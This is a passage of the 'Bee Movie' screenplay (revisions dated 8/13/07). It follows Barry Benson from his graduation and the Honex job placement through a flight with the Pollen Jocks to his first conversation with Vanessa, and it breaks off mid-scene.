Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You 